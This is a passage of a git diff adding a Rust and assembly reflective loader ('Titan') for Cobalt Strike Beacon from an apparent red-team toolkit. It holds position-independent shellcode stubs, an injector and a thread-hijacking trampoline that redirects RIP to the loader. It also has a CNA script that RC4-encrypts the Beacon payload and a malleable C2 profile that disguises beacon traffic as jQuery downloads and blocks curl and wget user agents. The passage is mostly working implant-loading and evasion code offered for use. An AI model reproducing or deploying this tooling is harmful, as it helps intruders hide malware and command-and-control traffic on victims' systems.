+''' + +# Step 2: Copy injector to bin/ directory +[tasks.injector-copy] +dependencies = ["injector-build"] +script_runner = "@duckscript" +script = ''' +cp target/x86_64-pc-windows-gnu/release/examples/injector.exe ${BIN_DIR}/injector.exe +echo Copied injector.exe to ${BIN_DIR}/ +''' + +# Final task: Print completion message +[tasks.injector] +dependencies = ["injector-copy"] +script_runner = "@duckscript" +script = "echo Injector test binary ready at ${BIN_DIR}/injector.exe" + +# ============================================================================ +# TEST TASK +# ============================================================================ +# Builds everything: x64 + x86 release shellcode + injector. +# Use this to prepare for testing the shellcode with the injector. +[tasks.test] +dependencies = ["default", "injector"] + +# ============================================================================ +# DEFAULT TASK +# ============================================================================ +# Default task when running "cargo make" with no arguments. +# Builds x64 + x86 release shellcode + injector (everything you need). +[tasks.default] +dependencies = ["x64", "x86", "injector"] diff --git a/udrl/asm/x64/misc.asm b/udrl/asm/x64/misc.asm new file mode 100644 index 0000000..9e40f28 --- /dev/null +++ b/udrl/asm/x64/misc.asm @@ -0,0 +1,132 @@ +[BITS 64] + +;-------------------------------------------------------------------------- +; Misc helpers (x64) - Position-independent utilities and STUB metadata +; +; PURPOSE: +; Provides position-independent primitives for Rust code that cannot be +; safely implemented in Rust without breaking PIC (position-independent code). +; +; FUNCTIONS: +; - Stub: STUB metadata structure (region/size/heap/logging) +; - StubAddr: Returns runtime address of Stub (RIP-relative) +; - GetIp: Returns current instruction pointer (RIP) +; +; WHY ASSEMBLY? +; 1. Rust cannot safely get current instruction pointer +; 2. RIP-relative addressing is needed for position-independence +; 3. STUB must be at known location for hooks to access runtime data +; +; SECTION PLACEMENT: +; - .text$C: STUB data and StubAddr (middle of code section) +; - .text$ZZ: GetIp and Leave marker (end of code section) +;-------------------------------------------------------------------------- +GLOBAL GetIp +GLOBAL Stub +GLOBAL StubAddr + +[SECTION .text$C] + +;-------------------------------------------------------------------------- +; Stub - STUB metadata structure +; +; PURPOSE: +; Runtime data structure accessed by IAT hooks to get: +; - Memory region bounds for sleep obfuscation encryption +; - Custom heap handle for beacon allocations +; +; LAYOUT (must match Rust STUB struct in src/loader.rs): +; Offset | Size | Field | Description +; -------|------|----------------|------------------------------------------ +; 0x00 | 8 | Region | Base address of allocated region +; 0x08 | 8 | RegionSize | Total size of region in bytes +; 0x10 | 8 | StubSize | Size of stub/loader code +; 0x18 | 8 | Heap | Custom heap handle (from RtlCreateHeap) +; 0x20 | 4 | NumSections | Number of PE sections +; 0x24 | 480 | Sections[20] | Array of MemorySection structs +; 0x204 | 8 | Api (pointer) | *mut Api → points to +0x20C storage +; 0x20C | 8192 | Api (storage) | Inline Api struct (filled by fill_stub) +; +; INITIALIZATION: +; All fields start as 0 and are populated by loader's fill_stub(). +; +; ACCESS: +; Hooks use StubAddr() to get the runtime address of this structure. +;-------------------------------------------------------------------------- +Stub: + dq 0 ; +0x00: Region base address (8 bytes) + dq 0 ; +0x08: Region size in bytes (8 bytes) + dq 0 ; +0x10: Stub size in bytes (8 bytes) + dq 0 ; +0x18: Custom heap handle (8 bytes) + dd 0 ; +0x20: Number of sections (4 bytes) + ; +0x24: sections[20] array - each MemorySection is 24 bytes + ; MemorySection: base_address(8) + size(8) + current_protect(4) + previous_protect(4) + times 480 db 0 ; 20 * 24 = 480 bytes + ; +0x204: Api pointer (points to inline storage at +0x20C below) + dq 0 ; *mut Api (8 bytes) + ; +0x20C: Inline Api storage (filled by fill_stub via memcopy) + ; Api is ~4300 bytes (with FramePool in each Config); reserve 8192 for safety + times 8192 db 0 ; Api storage + +;-------------------------------------------------------------------------- +; StubAddr - Returns runtime address of STUB structure +; +; PURPOSE: +; Provides position-independent access to the STUB metadata structure. +; Uses RIP-relative addressing (LEA [rel Stub]) to calculate the runtime +; address regardless of where the code is loaded. +; +; CALLING CONVENTION: +; No arguments +; +; RETURNS: +; RAX = Runtime address of Stub structure +; +; WHY ASSEMBLY? +; Rust cannot safely perform RIP-relative addressing without relocations. +; This function enables true position-independent STUB access. +; +; USAGE FROM RUST: +; let stub_ptr = StubAddr() as PSTUB; +; let custom_heap = (*stub_ptr).heap; +;-------------------------------------------------------------------------- +StubAddr: + lea rax, [rel Stub] ; Calculate runtime address of Stub (RIP-relative) + ret ; Return address in RAX + +[SECTION .text$ZZ] + +;-------------------------------------------------------------------------- +; GetIp - Returns current instruction pointer (RIP) +; +; PURPOSE: +; Retrieves the current instruction pointer for position-independent +; offset calculations (OFFSET macro and G_END function in Rust). +; +; HOW IT WORKS: +; 1. CALL pushes return address (next instruction) onto stack +; 2. POP retrieves that return address into RAX +; 3. SUB 5 adjusts back to the CALL instruction address +; +; CALLING CONVENTION: +; No arguments +; +; RETURNS: +; RAX = Current instruction pointer (address of CALL instruction) +; +; WHY ASSEMBLY? +; Rust has no safe way to retrieve the instruction pointer without breaking +; position-independence. This technique is standard for PIC shellcode. +; +; USAGE FROM RUST: +; Used by OFFSET() and G_END() macros for runtime address calculations. +;-------------------------------------------------------------------------- +GetIp: + call get_ret_ptr ; Push next instruction address onto stack + +get_ret_ptr: + pop rax ; Pop return address into RAX + sub rax, 5 ; Adjust back 5 bytes (size of CALL instruction) + ret ; Return RIP in RAX + +; Note: No marker at end - CONFIG struct from CNA is directly after GetIp diff --git a/udrl/asm/x64/start.asm b/udrl/asm/x64/start.asm new file mode 100644 index 0000000..5eb99e1 --- /dev/null +++ b/udrl/asm/x64/start.asm @@ -0,0 +1,50 @@ +[BITS 64] + +;-------------------------------------------------------------------------- +; Start (x64) - Assembly entry point and stack alignment trampoline +; +; PURPOSE: +; Provides the initial entry point for the reflective loader. This function +; ensures proper stack alignment before transferring control to Rust code. +; +; WHY THIS EXISTS: +; 1. x64 calling convention requires 16-byte stack alignment +; 2. Caller may not provide aligned stack (shellcode, injection, etc.) +; 3. Must allocate shadow space for Windows x64 calling convention +; 4. Provides clean transition from assembly to Rust +; +; EXECUTION FLOW: +; 1. Save caller's RSI register (preserve calling context) +; 2. Align stack to 16-byte boundary (required by x64 ABI) +; 3. Allocate shadow space (32 bytes for Windows x64) +; 4. Call Rust Entry() function +; 5. Restore stack and RSI on return +; +; SECTION PLACEMENT: +; Placed in .text$A to ensure it comes BEFORE Rust code in .text$B. +; This guarantees the assembly entry point is at the beginning of the +; .text section, making it the first code executed. +; +; CALLING CONVENTION: +; Windows x64 (rcx=arg1, rdx=arg2, r8=arg3, r9=arg4) +; Shadow space: 32 bytes (0x20) on stack for first 4 register args +; +; REGISTERS: +; RSI - Temporarily used to save original stack pointer +; RSP - Stack pointer (aligned and shadow space allocated) +; All other registers preserved by called functions +;-------------------------------------------------------------------------- +EXTERN Entry +GLOBAL Start + +[SECTION .text$A] + +Start: + push rsi ; Step 1: Save caller's RSI register + mov rsi, rsp ; Step 2: Save original stack pointer in RSI + and rsp, 0FFFFFFFFFFFFFFF0h ; Step 3: Align stack to 16-byte boundary + sub rsp, 020h ; Step 4: Allocate 32 bytes shadow space + call Entry ; Step 5: Transfer control to Rust Entry() + mov rsp, rsi ; Step 6: Restore original stack pointer + pop rsi ; Step 7: Restore caller's RSI register + ret ; Step 8: Return to caller diff --git a/udrl/asm/x86/misc.asm b/udrl/asm/x86/misc.asm new file mode 100644 index 0000000..77246ce --- /dev/null +++ b/udrl/asm/x86/misc.asm @@ -0,0 +1,150 @@ +[BITS 32] + +;-------------------------------------------------------------------------- +; Misc helpers (x86) - Position-independent utilities and STUB metadata +; +; PURPOSE: +; Provides position-independent primitives for Rust code on 32-bit systems. +; Mirrors x64 functionality but adapted for x86 architecture. +; +; FUNCTIONS: +; - _Stub: STUB metadata structure (region/size/heap/logging) +; - _StubAddr: Returns runtime address of Stub (EIP-relative) +; - _GetIp: Returns current instruction pointer (EIP) +; +; WHY ASSEMBLY? +; 1. Rust cannot safely get current instruction pointer +; 2. EIP-relative addressing is needed for position-independence +; 3. STUB must be at known location for hooks to access runtime data +; +; SECTION PLACEMENT: +; - .text$C: STUB data and _StubAddr (middle of code section) +; - .text$ZZ: _GetIp and _Leave marker (end of code section) +; +; NOTE: +; x86 uses underscore prefix (_Stub, _GetIp, etc.) for C name mangling. +;-------------------------------------------------------------------------- +GLOBAL _GetIp +GLOBAL _Stub +GLOBAL _StubAddr + +[SECTION .text$C] + +;-------------------------------------------------------------------------- +; _Stub - STUB metadata structure (x86) +; +; PURPOSE: +; Runtime data structure accessed by IAT hooks to get: +; - Memory region bounds for sleep obfuscation encryption +; - Custom heap handle for beacon allocations +; +; LAYOUT: +; Offset | Size | Field | Description +; -------|------|---------------|------------------------------------------ +; 0x00 | 4 | Region | Base address of allocated region +; 0x04 | 4 | Size | Total size of region in bytes +; 0x08 | 4 | Heap | Custom heap handle (from RtlCreateHeap) +; 0x0C | 4 | NumSections | Number of PE sections +; 0x10 | 320 | Sections[20] | Array of MemorySection structs (x86) +; 0x150 | 4 | Api (pointer) | *mut Api → points to +0x154 storage +; 0x154 | 8192 | Api (storage) | Inline Api struct (filled by fill_stub) +; +; NOTE: +; Console/WriteFile fields removed - logging now resolves APIs fresh +; each call for RX memory compatibility (no writes to STUB needed). +; +; WARNING: +; The Rust STUB struct (loader.rs) includes a `stub_size` field between +; Size and Heap. This x86 ASM layout does NOT include that field, so +; offsets diverge from the Rust struct at +0x08 onward. This must be +; reconciled if x86 support is needed. +; +; INITIALIZATION: +; All fields start as 0 and are populated by loader's fill_stub() function. +; +; ACCESS: +; Hooks use _StubAddr() to get the runtime address of this structure. +;-------------------------------------------------------------------------- +_Stub: + dd 0 ; +0x00: Region base address (4 bytes) + dd 0 ; +0x04: Region size in bytes (4 bytes) + dd 0 ; +0x08: Custom heap handle (4 bytes) + dd 0 ; +0x0C: Number of sections (4 bytes) + ; +0x10: sections[20] array - each MemorySection is 16 bytes (x86) + ; MemorySection: base_address(4) + size(4) + current_protect(4) + previous_protect(4) + times 320 db 0 ; 20 * 16 = 320 bytes + ; +0x150: Api pointer (points to inline storage at +0x154 below) + dd 0 ; *mut Api (4 bytes) + ; +0x154: Inline Api storage (filled by fill_stub via memcopy) + ; Api is ~4300 bytes (with FramePool in each Config); reserve 8192 for safety + times 8192 db 0 ; Api storage + +;-------------------------------------------------------------------------- +; _StubAddr - Returns runtime address of STUB structure (x86) +; +; PURPOSE: +; Provides position-independent access to the STUB metadata structure. +; Uses EIP-relative calculation to determine runtime address. +; +; HOW IT WORKS: +; 1. CALL .get_eip pushes return address (EIP) onto stack +; 2. POP retrieves EIP into EAX +; 3. SUB calculates offset back to _Stub from current EIP +; +; CALLING CONVENTION: +; No arguments (x86 cdecl) +; +; RETURNS: +; EAX = Runtime address of _Stub structure +; +; WHY ASSEMBLY? +; Rust cannot safely perform EIP-relative addressing without relocations. +; This function enables true position-independent STUB access on x86. +; +; USAGE FROM RUST: +; let stub_ptr = _StubAddr() as PSTUB; +; let custom_heap = (*stub_ptr).heap; +;-------------------------------------------------------------------------- +_StubAddr: + call .get_eip ; Push next instruction address (EIP) +.get_eip: + pop eax ; Pop EIP into EAX + sub eax, .get_eip - _Stub ; Calculate offset to _Stub + ret ; Return address in EAX + +[SECTION .text$ZZ] + +;-------------------------------------------------------------------------- +; _GetIp - Returns current instruction pointer (EIP) for x86 +; +; PURPOSE: +; Retrieves the current instruction pointer for position-independent +; offset calculations (OFFSET macro and G_END function in Rust). +; +; HOW IT WORKS: +; 1. CALL pushes return address (next instruction) onto stack +; 2. POP retrieves that return address into EAX +; 3. SUB 5 adjusts back to the CALL instruction address +; +; CALLING CONVENTION: +; No arguments (x86 cdecl) +; +; RETURNS: +; EAX = Current instruction pointer (address of CALL instruction) +; +; WHY ASSEMBLY? +; Rust has no safe way to retrieve the instruction pointer without breaking +; position-independence. This technique is standard for PIC shellcode. +; +; USAGE FROM RUST: +; Used by OFFSET() and G_END() macros for runtime address calculations. +;-------------------------------------------------------------------------- +_GetIp: + call _get_ret_ptr ; Push next instruction address onto stack + +_get_ret_ptr: + pop eax ; Pop return address into EAX + sub eax, 5 ; Adjust back 5 bytes (size of CALL instruction) + ret ; Return EIP in EAX + +; Note: No marker at end - CONFIG struct from CNA is directly after GetIp diff --git a/udrl/asm/x86/start.asm b/udrl/asm/x86/start.asm new file mode 100644 index 0000000..f2631f0 --- /dev/null +++ b/udrl/asm/x86/start.asm @@ -0,0 +1,53 @@ +[BITS 32] + +;-------------------------------------------------------------------------- +; _Start (x86) - 32-bit assembly entry point and stack alignment trampoline +; +; PURPOSE: +; Provides the initial entry point for the reflective loader on 32-bit systems. +; Ensures proper stack alignment before transferring control to Rust code. +; +; WHY THIS EXISTS: +; 1. x86 calling convention benefits from 16-byte stack alignment (SSE) +; 2. Caller may not provide aligned stack (shellcode, injection, etc.) +; 3. Allocates shadow space for consistency with x64 (32 bytes) +; 4. Provides clean transition from assembly to Rust +; +; EXECUTION FLOW: +; 1. Save caller's ESI register (preserve calling context) +; 2. Align stack to 16-byte boundary (optional but recommended for SSE) +; 3. Allocate shadow space (32 bytes for consistency) +; 4. Call Rust _Entry() function +; 5. Restore stack and ESI on return +; +; SECTION PLACEMENT: +; Placed in .text$A to ensure it comes BEFORE Rust code in .text$B. +; This guarantees the assembly entry point is at the beginning of the +; .text section, making it the first code executed. +; +; CALLING CONVENTION: +; x86 cdecl (arguments on stack, caller cleans up) +; Stack alignment: 16 bytes (for SSE compatibility) +; +; REGISTERS: +; ESI - Temporarily used to save original stack pointer +; ESP - Stack pointer (aligned and shadow space allocated) +; All other registers preserved by called functions +; +; NOTE: +; x86 uses underscore prefix (_Start, _Entry) for C name mangling. +;-------------------------------------------------------------------------- +EXTERN _Entry +GLOBAL _Start + +[SECTION .text$A] + +_Start: + push esi ; Step 1: Save caller's ESI register + mov esi, esp ; Step 2: Save original stack pointer in ESI + and esp, 0FFFFFFF0h ; Step 3: Align stack to 16-byte boundary + sub esp, 020h ; Step 4: Allocate 32 bytes shadow space + call _Entry ; Step 5: Transfer control to Rust _Entry() + mov esp, esi ; Step 6: Restore original stack pointer + pop esi ; Step 7: Restore caller's ESI register + ret ; Step 8: Return to caller diff --git a/udrl/bin/Titan.cna b/udrl/bin/Titan.cna new file mode 100644 index 0000000..35498e7 --- /dev/null +++ b/udrl/bin/Titan.cna @@ -0,0 +1,101 @@ +## +## Reflective Loader +## +## GuidePoint Security LLC +## +## Threat and Attack Simulation +## + +import javax.crypto.spec.*; +import java.security.*; +import javax.crypto.*; + +## +## Generates a random string ( @offsecginger ) +## +sub random_string { + $limit = $1; + @random_str = @(); + $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + for ($x = 0; $x < $limit; $x++) { + $n = rand(strlen($characters)); + add(@random_str, charAt($characters, $n)); + } + return join('', @random_str); +} + +## +## Inserts titan into Beacon +## +set BEACON_RDLL_GENERATE { + + ## + ## Open up titan. + ## + $hnd = openf( script_resource( "Titan.". $3 .".bin" ) ); + $ldr = readb( $hnd, -1 ); + closef( $hnd ); + + if ( strlen( $ldr ) == 0 ) { + ## + ## Titan was not compiled. + ## + warn( 'titan has not been compiled, using standard cobalt loader.' ); + return $null; + }; + + $prf = data_query( "metadata" )["c2profile"]; + if ( [ $prf getString: ".stage.sleep_mask" ] eq "true" ) { + if ( [ $prf getString: ".stage.obfuscate" ] eq "false" ) { + ## + ## We cannot use sleep_mask with Titan if obfuscate = False + ## + warn( 'titan cannot be used with sleep_mask if obfuscate is set to false' ); + return $null; + }; + }; + + ## + ## Ask questions about whether we need workstation + ## or other tweaks inserted into the payload on the + ## fly. + ## + + println( ' ___________________ _ __' ); + println( '/_ __/ _/_ __/ _ | / |/ /' ); + println( ' / / _/ / / / / __ |/ / ' ); + println( '/_/ /___/ /_/ /_/ |_/_/|_/ ' ); + println( '============================' ); + println( 'Reflective Loader by Austin ' ); + println( 'GuidePoint Security LLC' ); + println( '============================' ); + + ## + ## Encrypt the incoming buffer with RC4. Then + ## we build a structure information titan of + ## the key. + ## + + $str = random_string( "16" ); + $cip = [ Cipher getInstance: "RC4" ]; + $key = [ new SecretKeySpec: $str, "RC4" ]; + [ $cip init: [ Cipher DECRYPT_MODE ], $key ]; + $buf = [ $cip doFinal: $2 ]; + $inf = pack( 'I+', strlen( $buf ) ); + $inf .= $str . $buf; + + println( "ARC4: ". $str ); + println( "SIZE: ". strlen( $ldr . $inf ) ); + + ## + ## Return Information + ## + return $ldr . $inf; +}; + +## +## Size +## +set BEACON_RDLL_SIZE { + return "0"; +}; diff --git a/udrl/bin/Titan.profile b/udrl/bin/Titan.profile new file mode 100644 index 0000000..02067f4 --- /dev/null +++ b/udrl/bin/Titan.profile @@ -0,0 +1,129 @@ +set sleeptime "5000"; + +# AceLdr recommended/required args +stage { + set cleanup "true"; # Recommended, proof that it works + set userwx "false"; # Recommended, proof that it works + set sleep_mask "false"; # !!Required!! + set obfuscate "true"; # Recommended, proof that it works + set stomppe "true"; # Recommended, proof that it works + set smartinject "false"; # !!Required!! + set allocator "VirtualAlloc"; # Not required, just an example +} + +process-inject { + set userwx "false"; # Recommended, proof that it works + set startrwx "false"; # Recommended, proof that it works + set allocator "VirtualAllocEx"; # Not required, just an example + execute { # Not required, just an example + CreateThread; + CreateRemoteThread; + NtQueueApcThread; + RtlCreateUserThread; + } +} + +post-ex { + set obfuscate "true"; # Recommended, proof that it works + set smartinject "true"; # !!Required!! +} + +# The rest of this is just JQuery example profile +http-config { + set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; + header "Server" "Apache"; + header "Keep-Alive" "timeout=10, max=100"; + header "Connection" "Keep-Alive"; + # Use this option if your teamserver is behind a redirector + set trust_x_forwarded_for "true"; + # Block Specific User Agents with a 404 (added in 4.3) + set block_useragents "curl*,lynx*,wget*"; +} + +http-get { + + set uri "/jquery-3.3.1.min.js"; + set verb "GET"; + + client { + + header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + #header "Host" "code.jquery.com"; + header "Referer" "http://code.jquery.com/"; + header "Accept-Encoding" "gzip, deflate"; + + metadata { + base64url; + prepend "__cfduid="; + header "Cookie"; + } + } + + server { + + header "Server" "NetDNA-cache/2.2"; + header "Cache-Control" "max-age=0, no-cache"; + header "Pragma" "no-cache"; + header "Connection" "keep-alive"; + header "Content-Type" "application/javascript; charset=utf-8"; + + output { + mask; + base64url; + ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) + # 2nd Line + prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; + print; + } + } +} + +http-post { + + set uri "/jquery-3.3.2.min.js"; + set verb "POST"; + + client { + + header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + #header "Host" "code.jquery.com"; + header "Referer" "http://code.jquery.com/"; + header "Accept-Encoding" "gzip, deflate"; + + id { + mask; + base64url; + parameter "__cfduid"; + } + + output { + mask; + base64url; + print; + } + } + + server { + + header "Server" "NetDNA-cache/2.2"; + header "Cache-Control" "max-age=0, no-cache"; + header "Pragma" "no-cache"; + header "Connection" "keep-alive"; + header "Content-Type" "application/javascript; charset=utf-8"; + + output { + mask; + base64url; + ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) + # 2nd Line + prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; + print; + } + } +} diff --git a/udrl/build.rs b/udrl/build.rs new file mode 100644 index 0000000..b0514a7 --- /dev/null +++ b/udrl/build.rs @@ -0,0 +1,65 @@ +//! Build script for the UDRL (User-Defined Reflective Loader). +//! +//! Assembles architecture-specific NASM sources (`start.asm`, `misc.asm`) into +//! object files and links them into the final binary via the `cc` crate. +//! +//! Supported targets: +//! - `x86_64-pc-windows-gnu` (win64 / PE32+) +//! - `i686-pc-windows-gnu` (win32 / PE32) +//! +//! Call stack spoofing assembly lives in the `uwd` crate and is **not** compiled +//! here - only the loader entry point and helper stubs are assembled. + +use std::{env, process::Command}; + +/// Assemble a single NASM source file into a COFF object. +/// +/// # Arguments +/// +/// * `format` - NASM output format (`"win64"` or `"win32"`). +/// * `src` - Path to the `.asm` source file. +/// * `obj` - Path for the output `.o` object file. +fn assemble(format: &str, src: &str, obj: &str) { + let status = Command::new("nasm") + .args(&["-f", format, src, "-o", obj]) + .status() + .unwrap_or_else(|e| panic!("Failed to run nasm on {src}: {e}")); + + if !status.success() { + panic!("nasm failed to assemble {src}"); + } +} + +fn main() { + let target = env::var("TARGET").unwrap(); + let out_dir = env::var("OUT_DIR").unwrap(); + + // Output object paths (placed in Cargo's OUT_DIR so they don't pollute the tree). + let start_obj = format!("{out_dir}/start.o"); + let misc_obj = format!("{out_dir}/misc.o"); + + if target.contains("x86_64") { + // Assemble x64 entry point and helper stubs (PE32+ / COFF). + assemble("win64", "asm/x64/start.asm", &start_obj); + assemble("win64", "asm/x64/misc.asm", &misc_obj); + } else if target.contains("i686") { + // Assemble x86 entry point and helper stubs (PE32 / COFF). + assemble("win32", "asm/x86/start.asm", &start_obj); + assemble("win32", "asm/x86/misc.asm", &misc_obj); + } else { + panic!("Unsupported target: {target}"); + } + + // Link assembled objects into the final static library. + cc::Build::new() + .object(&start_obj) + .object(&misc_obj) + .compile("asm"); + + // Rebuild when assembly sources or the linker script change. + println!("cargo:rerun-if-changed=asm/x64/start.asm"); + println!("cargo:rerun-if-changed=asm/x64/misc.asm"); + println!("cargo:rerun-if-changed=asm/x86/start.asm"); + println!("cargo:rerun-if-changed=asm/x86/misc.asm"); + println!("cargo:rerun-if-changed=scripts/linker.ld"); +} diff --git a/udrl/rust-toolchain.toml b/udrl/rust-toolchain.toml new file mode 100644 index 0000000..e9a7037 --- /dev/null +++ b/udrl/rust-toolchain.toml @@ -0,0 +1,3 @@ +[toolchain] +channel = "nightly" +targets = ["x86_64-pc-windows-gnu", "i686-pc-windows-gnu"] diff --git a/udrl/scripts/linker.ld b/udrl/scripts/linker.ld new file mode 100644 index 0000000..288804b --- /dev/null +++ b/udrl/scripts/linker.ld @@ -0,0 +1,35 @@ +SECTIONS +{ + . = 0x0000; + + .text : + { + *( .text$A ); + *( .text$B ); + *( .text$C ); + *( .text$D ); + *( .text$E ); + *( .text$F ); + *( .text ); + *( .text.* ); + *( .rdata* ); + *( .data* ); + *( .idata* ); + *( .CRT* ); + *( .tls* ); + *( .ctors* ); + *( .edata* ); + KEEP( *(.text$ZZ) ); + } + + /* Discard exception handling and debug sections */ + /DISCARD/ : + { + *(.pdata); + *(.xdata); + *(.debug*); + *(.eh_frame); + *(.note*); + *(.comment*); + } +} diff --git a/udrl/src/ace.rs b/udrl/src/ace.rs new file mode 100644 index 0000000..1d90030 --- /dev/null +++ b/udrl/src/ace.rs @@ -0,0 +1,166 @@ +//! ACE (Asynchronous Code Execution) thread trampoline. +//! +//! This module implements controlled thread creation for running the loader: +//! +//! 1. **Create suspended thread** - Start at RtlUserThreadStart+0x21 +//! 2. **Hijack RIP** - Redirect instruction pointer to loader function +//! 3. **Resume execution** - Thread runs loader instead of original target +//! 4. **Wait for completion** - Block until loader finishes +//! +//! # Why ACE? +//! +//! Running the loader in a separate thread provides: +//! - Isolated execution context +//! - Clean call stack (not nested in original entry) +//! - Ability to wait on loader completion +//! - Matches AceLdr's threading model + +use { + crate::loader, + api::{api::Api, dbg_print, windows::*, NT_SUCCESS}, + core::{ffi::c_void, mem::transmute, ptr::null_mut}, +}; + +/// ACE entry point: creates a suspended thread, redirects RIP to loader, and resumes. +/// +/// # Purpose +/// +/// This function implements the "ACE" 